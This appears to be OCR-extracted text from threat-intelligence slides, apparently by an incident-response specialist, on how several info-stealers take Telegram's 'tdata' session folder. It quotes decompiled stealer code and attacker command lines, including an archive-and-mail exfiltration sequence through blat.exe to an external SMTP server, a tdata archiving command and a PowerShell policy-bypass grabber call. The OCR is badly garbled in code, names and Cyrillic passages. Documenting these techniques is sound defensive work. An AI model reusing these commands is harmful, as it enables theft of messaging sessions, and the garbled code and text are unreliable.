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AZORULT (2018) HINGRRA

if ( =( BYTE =)(=( DWORD *)u168 + 4) == 0x2B )
sub_H14838((int)L"Skype');
if #( BYTE =)(=( DWORD =)u168 + 5) == 0x28B

fn_findAandCopyFile(
L"%appdata%Z\\Telegram Desktop\\tdata\\",
(int)L"DB77F783D5% map*",

(signed __int32)L"Telegram",

1

’
1000,
8);
if ( =( BYTE =)(*( DWORD =*)ui168 + 6) == Bx2B )
sub_414A98(L"Stean"); | // Steam is a digital distribution platform

// for video games developed by Ualve Corporation

New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit, URL:
https://unit42.paloaltonetworks.com/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using- 21
fallout-exploit-kit/



AURORA STEALER (2023) HINGRRA

108
109
110
111
112
il3
114
115
116
117
118
119
120
121
122
123
124

vE7
vEs
v29

v30

v10;

*1 N
vil;

"\\AppData\\Roaming\\Telegram Desktop\\tdata";
39LL;

*(_QWORD *)&v67 = runtime_concatstring2 (

0,

vée3,
11,
(unsigned int)[|'\\AppData\\Roaming\\Telegram Desktop\\tdata",
39,

w2
V_)-’

w2
v —""
I
Voo

w2 A
Vo',

eSentire Threat Intelligence Malware Analysis: Aurora Stealer, URL: https://www.esentire.com/blog/esentire-threat-intelligence-
malware-analysis-aurora-stealer 22



REDLINE STEALER SQO'\éGQRﬂ

public override IEnumerable < Entityl6e > Id3() {
List < Entityl6 > entityléList = new List < Entityle > ();

try |
int num = 1;
string[] parts = new string[9] {
"T", "e'", "iv, "e'", "gr", "am", "o, "ex", "e"
Y
foreach(string fileName in SystemInfoHelper.GetProcessBName (parts)) {
try {
entityloeList.Add (new Entity 16() {
Id5 = num.ToString(),
Id2 = new string(new char[1l] { '"*" }),
Idl = new FileInfo(fileName) .Directory.FullName + new string(new
char[o] {
"\\', "'t’, 'd’, 'a’, 't’, ‘a’ }

RedLine Stealer: A malware-as-a-service info-stealer, URL: https://www.acronis.com/en-us/cyber-protection-center/posts/redline-
stealer-a-malware-as-a-service-info-stealer/ 23



WHITESNAKE STEALER HINGRRA

<command name="0">
<args>
<string>~/.local/share/TelegramDesktop/tdata;~/.var
/app/org.telegram.desktop/data/TelegrambDesktop
/tdata;~/snap/telegram-desktop/current/.local
/share/TelegramDesktop/tdata</string>

<string>Grabber/Telegram</string>
</args>
</command>
<command name="0">
<args>
<string>/home/vm/.config/Signal;~/snap/signal
-desktop/current/.config/Signal</string>
<string>config.json;sql/db.sqglite</string>

<strines>Grabher/Sional</strines

Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer, URL: https://russianpanda.com/2023/07/04/WhiteSnake-
Stealer-Malware-Analysis/ 24



AUTOIT STEALER HINGRRA

7z.exe a «C:\ProgramData\Setup\ [USERNAME] [COMPUTERNAME].7z»

«C:\Users\ [USERNAME ] \AppData\Roaming\Telegram
Desktop\tdatal\*» -r -x!*, -x!* . exe -x!*.bat -x!*.1lnk -
x!dumps\* -x!emoji\* -x!tdummy\* -x!user data\*

CKkauyuMBaHH e MUPATCKOM MPOrpamMMbl U3 TOPPEHTOB MPHBEJIO K 3apakeHHI0 COTEH ThICAY MmoJsib3oBaTtesei, URL:
https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/a-pirated-program-downloaded-from-a-torrent-site- 25

infected-hundreds-of-thousands-of-users/



RARE WOLF HINGRRA

C:\Intel\driver.exe a -r -hplimpid2903392 C:\Intel\tdata.rar
"C:\Users\ [redacted] \AppData\Roaming\Telegram Desktop\tdata" /vy

C:\Intel\blat.exe —-to %$mail-in% -f "TELEGRAM<Smail-out$%$>" -server

smtp.acountservices|[.]nl -port 587 -u %$mail-out% -pw S%Spass-outs -
subject "[redacted]" -body "[redacted]" -attach "C:\Intel\tdata.rar"

del /g /f C:\Intel\tdata.rar

BI.ZONE Cyber Threat Intelligence Platform

26



COMET / SHADOW / SHADOW WOLF HINGRRA

via PowerShell console:
./tg grab scanner.psl C:\users\public\hosts.txt C:\users\public\res.txt

via command line:
powershell -ex bypass —-f get tg.psl

Incident Response Reports

27
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Moppepxka

OnuwwuTe ceowo npobnemy:

Hello!
There is a pretty common problem with the "tdata” folder. Copying this folder is enough to open a session on other device.

Through the "Active session” tab one can see no difference cause this session will be opened with the parameters from original
device (IP, device name and the like). This bug is not a secret for attackers too so now each data stealer have a feature of copying
this folder. This is an age-old problem, from 2017 at least. | think Telegram developers don't fix this (for example, bind key with
HWID) for some reasons. What are they? Is|D877F783D5D3EF8C* file the key of a current session?

Baw email:

1a@gmail.com

Baw Homep TenedoHa:

OrnpaBuTsb
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*Ba>kHO MOMHUTB, 4YTo end-to-end mudpoBaHus Mo yMOJYaHUIO HET
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JIapga AHTHIIOBA

CnenyaJiiuCcT IO pearipoOBaHMIO Ha
MHIMAEHTbl U KOMIIbIOTEPHOH
KPUMUHAJIUCTHUKE

l.antipova@angarasecurity.ru
response@angarasecurity.ru
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